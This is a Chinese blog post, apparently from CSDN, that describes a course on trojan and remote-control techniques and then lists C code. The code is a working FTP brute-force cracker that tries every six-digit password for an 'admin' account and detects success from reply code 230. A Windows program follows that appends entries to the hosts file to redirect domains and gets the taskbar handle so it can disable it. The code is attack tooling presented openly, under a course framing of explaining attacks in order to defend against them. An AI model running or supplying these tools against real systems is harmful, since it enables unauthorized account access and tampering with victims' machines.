标签:
【课程简介】
C/C++语言是除了汇编之外,最接近底层的计算机语言,目前windows,linux,iOS,Android等主流操作系统都是用C/C++编写的,所以很多病毒、木马也都是用C/C++实现的。课程的目的就是通过C语言揭秘木马和各种远程控制软件的实现原理以及如何防护。
【课程知识点】
1、木马入侵系统的方式;
2、木马入侵到宿主目标后的关键行为分析;
3、可信任端口以及端口扫描技术;
4、远程控制的实现代码实现;
5、恶意代码中使用TCP、UDP协议与防火墙穿越技术;
6、360网络安全防护的实现原理。
#include <stdio.h>
#include <string.h>
#define CONTENT "open %s\nuser\n%s\n%s\nbye\n"
int write_file(const char *ip, const char *user, const char *passwd)
{
FILE *p = fopen("a.txt", "w");
if (p)
{
char buf[1024] = { 0 };
sprintf(buf, CONTENT, ip, user, passwd);
fputs(buf, p);
fclose(p);
return 0;//如果成功,返回0
}
return -1;//失败,-1
}
int main()
{
int i;
for (i = 0; i < 1000000; i++)//假设密码全部由数字组成
{
char pass[100] = { 0 };
sprintf(pass, "%06d", i);//格式化为字符串
if (write_file("192.168.101.138", "admin", pass) == 0)
{
FILE *p = _popen("ftp -n -s:a.txt", "r");
while (!feof(p))
{
char buf[1024] = { 0 };
fgets(buf, sizeof(buf), p);
if (strncmp(buf, "230", 3) == 0)//根据返回值进行判断 230 代表成功,
{
printf("pass:%s\n", pass);
return 0;
}
}
_pclose(p);
}
}
return 0;
}
// lockmask.cpp : 定义应用程序的入口点。
//
#include "stdafx.h"
#include "lockmask.h"
// 功能函数
/*
修改应用程序图标
vs:替换工程名.ico文件
QT:a.找到一张图片.ico,名字改为myapp.ico
b.创建文本文档myapp.rc。 内部添加 IDI_ICON1 ICON DISCARDABLE "myapp.ico"
c. 在myapp.pro文件最后加上RC_FILE=myapp.rc, 重新生成之后,就修改成功了;
*/
/*
vs2013辩词额不需要依赖库,同时兼容xp的项目
项目--属性--配置属性--常规--平台工具集--windwos xp
项目--属性--配置属性--c/c++ --代码生成--运行库--多线程(/MT).
*/
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include <ShellAPI.h>
#pragma warning(disable:4996)
void getWinVersion()//得到win版本
{
OSVERSIONINFO a;
a.dwOSVersionInfoSize = sizeof(a);
GetVersionEx(&a);
}
int setHosts(const char *IP, const char *domain)//修改hosts文件
{
char s[100] = { 0 };
GetSystemDirectoryA(s, sizeof(s));//得到windows系统目录
char path[100] = { 0 };
sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
char content[1024] = { 0 };
sprintf(content, "%s %s", IP, domain);
FILE *p = fopen(path, "a");//打开hosts文件
if (p)
{
fputs(content, p);
fclose(p);
return 0;
}
return -1;
}
HWND getTask()//得到任务栏句柄
{
typedef HWND(WINAPI *PROCGETTASKMANWND)(void);//什么一个HWND func();类型的函数指针
PROCGETTASKMANWND GetTaskmanWindow;//定义函数指针变量
HMODULE hUser32 = GetModuleHandleA("user32");//引用user32.dll库
if (!hUser32)
return NULL;
GetTaskmanWindow = (PROCGETTASKMANWND)GetProcAddress(hUser32, "GetTaskmanWindow");
if (!GetTaskmanWindow)
return NULL;
HWND h = GetTaskmanWindow();
return GetParent(GetParent(h));
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
HWND h = getTask();
//EnableWindow(h, false);//将任务栏设置为不可用
EnableWindow(h, true);//将任务栏设置为可用
return 0;
}
标签:
原文地址:http://blog.csdn.net/waldmer/article/details/46122327